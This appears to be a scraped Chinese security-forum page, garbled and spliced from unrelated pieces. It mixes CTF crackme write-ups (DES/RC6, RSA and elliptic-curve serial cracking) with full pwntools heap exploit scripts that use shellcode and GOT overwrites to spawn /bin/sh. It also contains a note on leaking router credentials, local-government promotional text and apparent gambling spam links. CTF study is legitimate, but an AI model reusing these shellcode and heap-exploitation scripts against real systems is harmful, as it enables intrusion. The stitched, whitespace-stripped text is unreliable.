_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit(),源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]、www.vns34.cc、通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreak、通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin实行了“一站式“服务,对投资项目的一切行政审批手续及生产经营中需要政府解决的问题,由贵港市行政服务中心专人协调和办理,为外来投资者提供优质、高效的服务,这使贵港成为国内外客商投资的热土、创业的乐园。ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。。od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。为让企业进得来、留得住、发展好,近年来,贵港市委、市政府积极探索工业转型,工作上放手放开、政策上放宽放活,并在服务上下足功夫。 就像单线程Cheney算法一样,它们的阶段是:扫描根,在年轻generation中复制,向老generation推广,更新指针。  开幕式上举行了富硒产业招商集中签约和农产品采购签约,签约富硒农业项目8个,总金额亿元,签订25份富硒农产品采购合同,采购签约金额亿元。  港北区区长黄英梅介绍,去年,该区招商引资工作最大的亮点是创造了“港北速度”:赛尔康电子生产项目当年9月21日开业,正式投产比原计划提前两个多月;贵港·上亿国际汽车城项目从开始建设到全面开放,用时不足1年。来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91} 之后分析的进程注入技术都开源到这一个项目上。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky945282018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。捕鱼游戏赢钱的在全力发展乡村旅游业同时,建设荷花新品种育种基地,引导企业研发和推广莲子、藕粉、荷叶茶、藕糖等覃塘莲藕品牌系列加工产品,并进行富硒产品研发,延伸荷美覃塘产品产业链,提高景区的旅游附加值,进而打造荷文化品牌。ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。,do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。 ,利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()(完)+1一些未文档化的结构在不同Windows版本间有所变化。。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。,ida在exit处下断点,继续执行程序,点check按钮加载so,不出意外ida会断在exit函数处。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。虽然这似乎是一场艰苦的斗争-在NotPetya情况下可能得不到什么帮助-用户在这样的情况下的教育仍然是至关重要的:仔细观察任何提示框-尤其是那些要求你下载软件或更新的提示;考虑此提示是否合法,以及它是否在上下文环境中合理。,这样就可以将0替换为这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。、www.v7155.com、1.处理逻辑name是内置的:readyucode是输入的int__cdeclsub_40AEF0(HWNDhDlg){...GetDlgItemTextA(hDlg,1000,name,64);v1=GetDlgItemTextA(hDlg,1001,code,256);v2=v1;if(v1=0x21){if(code[0]!=0x30){v3=0;if(v1=0){LABEL_9:memset(byte_41BC84,0,sizeof(byte_41BC84));v5=off_418078[check(code,name)];MessageBoxA(hDlg,v5,v5,0);return0;}while(1){v4=code[v3];if(!isxdigit(v4)||islower(v4))break;if(++v3=v2)gotoLABEL_9;}}...}z=10000000000000000000000000000000000000000000000000000000000000000079r=code^5modzr有34字节,前17字节作为x,后17字节作为yepInput=(x,y)根据name计算3个md5值:md0=md5(\x01readyu-pediy)=51C75F1F444BAA97ED18DD6C340835D7md1=md5(\x02\x02readyu-2017)=0E5CF7F068D6EFA16F42F935EC424A75md2=md5(\x03\x03\x03readyu-crackme)=A4CD1D64486ABDE1BE441944460CD41D椭圆曲线:m=131,a=13,b=2,c=1,a2=0,a6=1前面的epInput是这个曲线上的点ep1=(51C99BFA6F18DE467C80C23B98C7994AA,42EA2D112ECEC71FCF7E000D7EFC978BD)ep2=(6C997F3E7F2C66A4A5D2FDA13756A37B1,4A38D11829D32D347BD0C0F584D546E9A)n=200000000000000004D4FDD5703A3F269校验(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modnsignedint__cdeclcheck(char*code,constchar*a2){...get_mip();v29[0]=0;memset(v29[1],0,0x20u);*(_WORD*)v29[33]=0;v29[35]=0;ptr[0]=0x10;ptr[1]=0;ptr[2]=0;ptr[3]=0;ptr[4]=0;ptr[5]=0;ptr[6]=0;ptr[7]=0;ptr[8]=0;ptr[9]=0;ptr[10]=0;ptr[11]=0;ptr[12]=0;ptr[13]=0;ptr[14]=0;ptr[15]=0;ptr[16]=0;ptr[17]=0;ptr[18]=0;ptr[19]=0;ptr[20]=0;ptr[21]=0;ptr[22]=0;ptr[23]=0;ptr[24]=0;ptr[25]=0;ptr[26]=0;ptr[27]=0;ptr[28]=0;ptr[29]=0;ptr[30]=0;ptr[31]=0;ptr[32]=0;ptr[33]=0x79;mirsys_init();v2=z;a2_1=::a2;v4=::x;y=dword_41BC68;x=dword_41BC64;a6=dword_41BC70;w=dword_41BC74;bytes_to_big(34,ptr,z);cinstr(v4,code);if(mr_compare(v4,v2)=0){power(v4,5,v2,w);memset(v29,0,sizeof(v29));if(big_to_bytes(34,w,v29,1)==34){bytes_to_big(17,v29,x);bytes_to_big(17,v29[17],y);convert(0,a2_1);convert(1,a6);v17=1;if(ecurve2_init(131,13,2,1,a2_1,a6,0,0)){qmemcpy(v46,51C99BFA6F18DE467C80C23B98C7994AA,sizeof(v46));qmemcpy(v47,42EA2D112ECEC71FCF7E000D7EFC978BD,sizeof(v47));qmemcpy(v44,6C997F3E7F2C66A4A5D2FDA13756A37B1,sizeof(v44));qmemcpy(v43,4A38D11829D32D347BD0C0F584D546E9A,sizeof(v43));qmemcpy(v45,200000000000000004D4FDD5703A3F269,sizeof(v45));v30=dword_418118;v31=word_41811C;memset(v32,0,sizeof(v32));v33=0;v34=dword_4180E4;v35=byte_4180E8;memset(v36,0,sizeof(v36));v37=0;v38=0;v40=dword_4180F0;v39=dword_4180EC;memset(v41,0,sizeof(v41));a1=0;memset(v49,0,sizeof(v49));v50=0;v51=0;i=0;v6=a1;a3=(char*)mds;lpMem=(flash)v30;do{strcpy(v6,a2);strcat(v6,-);strcat(v6,(constchar*)lpMem);xmd5(v6,strlen(v6),a3,i+1);v6+=256;++i;lpMem+=4;a3+=16;}while(i3);md0=mirvar(0);md1=mirvar(0);md2=mirvar(0);x1=mirvar(0);a3a=mirvar(0);x2=mirvar(0);lpMema=mirvar(0);v9=mirvar(0);ep1=epoint_init();ep2=epoint_init();p1=epoint_init();p2=epoint_init();epInput=epoint_init();if(epoint2_set(x,y,0,epInput)){cinstr(x1,v46);cinstr(a3a,v47);epoint2_set(x1,a3a,0,ep1);cinstr(x2,v44);cinstr(lpMema,v43);epoint2_set(x2,lpMema,0,ep2);bytes_to_big(16,(_BYTE*)mds,md0);bytes_to_big(16,mds[1],md1);bytes_to_big(16,mds[2],md2);ecurve2_mult(md2,ep1,p1);ecurve2_mult(md2,ep2,p2);ecurve2_add(epInput,p1);ecurve2_add(epInput,p2);ecurve2_mult(md0,p1,p1);ecurve2_mult(md1,p2,p2);epoint2_get(p1,x1,a3a);epoint2_get(p2,x2,lpMema);cinstr(v9,v45);divide(x1,v9,v9);divide(x2,v9,v9);v17=3;if(!mr_compare(x1,x2))v17=0;}else{v17=2;}mirkill(md0);mirkill(md1);mirkill(md2);mirkill(x1);mirkill(x2);mirkill(a3a);mirkill(lpMema);mirkill(v9);epoint_free(ep1);epoint_free(ep2);epoint_free(p1);epoint_free(p2);epoint_free(epInput);}mirexit();result=v17;}else{mirexit();result=1;}}else{mirexit();result=1;}returnresult;}2.计算(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modn=epInput=(md2*md1*ep2-md2*md0*ep1)*(((md0-md1)^-1)modn)得到(02D23461BA71B50AF182DC76E5A7C726F5,07BE013AF19BD185BCD20BB341EA31298B)voidtest2(){biga2=mirvar(0);biga6=mirvar(1);if(ecurve2_init(131,13,2,1,a2,a6,0,0)){epoint*epInput=epoint_init();bigx=mirvar(0);bigy=mirvar(0);bigmd0=mirvar(0);bigmd1=mirvar(0);bigmd2=mirvar(0);cinstr(md0,51C75F1F444BAA97ED18DD6C340835D7);cinstr(md1,0E5CF7F068D6EFA16F42F935EC424A75);cinstr(md2,A4CD1D64486ABDE1BE441944460CD41D);epoint*p1=epoint_init();bigx1=mirvar(0);bigy1=mirvar(0);cinstr(x1,51C99BFA6F18DE467C80C23B98C7994AA);cinstr(y1,42EA2D112ECEC71FCF7E000D7EFC978BD);ep